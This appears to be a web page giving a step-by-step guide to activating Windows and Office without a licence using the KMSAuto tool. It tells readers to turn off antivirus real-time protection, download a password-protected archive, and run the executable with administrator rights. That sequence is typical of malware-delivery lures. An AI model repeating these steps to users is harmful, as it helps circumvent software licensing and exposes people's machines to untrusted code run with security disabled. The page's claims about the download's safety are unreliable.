How to Use KMSAuto — Complete Activation Guide (2026)
The most comprehensive step-by-step guide for activating Windows and Microsoft Office using KMSAuto Official in 2026. Works on every edition of Windows 7–11 and Office 2010–2024.
WYqejXiqBi97Before you start: temporarily pause Windows Defender real-time protection. Every KMS activator triggers a generic HackTool detection — re-enable protection once activation finishes.
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Disable real-time antivirus protection
Open Windows Security → Virus & threat protection → Manage settings → toggle Real-time protection OFF. Re-enable it after activation.
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Download KMSAuto Official
Use the green button on this page. The archive is ~5 MB and SHA-256 verified.
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Extract the archive
Right-click the ZIP → Extract All. When prompted, enter the password: WYqejXiqBi97
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Run as administrator
Right-click KMSAuto.exe → Run as administrator. A standard UAC prompt appears — click Yes.
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Pick your activation method
Green HWID button = Windows 10/11 digital license. Ohook = Office 2019–2024 permanent. TSforge = universal. KMS = 180-day lease.
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Click the big activation button
Wait ~30 seconds. You'll see 'Successfully activated' in the log.
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Reboot and verify
Restart the PC. Open CMD → run slmgr /xpr → expect 'permanent activation' or 'expires in 180 days'.
Verification commands
Run these in an elevated CMD or PowerShell to confirm activation:
slmgr /xpr— show Windows activation expiryslmgr /dlv— detailed license info- Office app → File → Account → verify "Product Activated"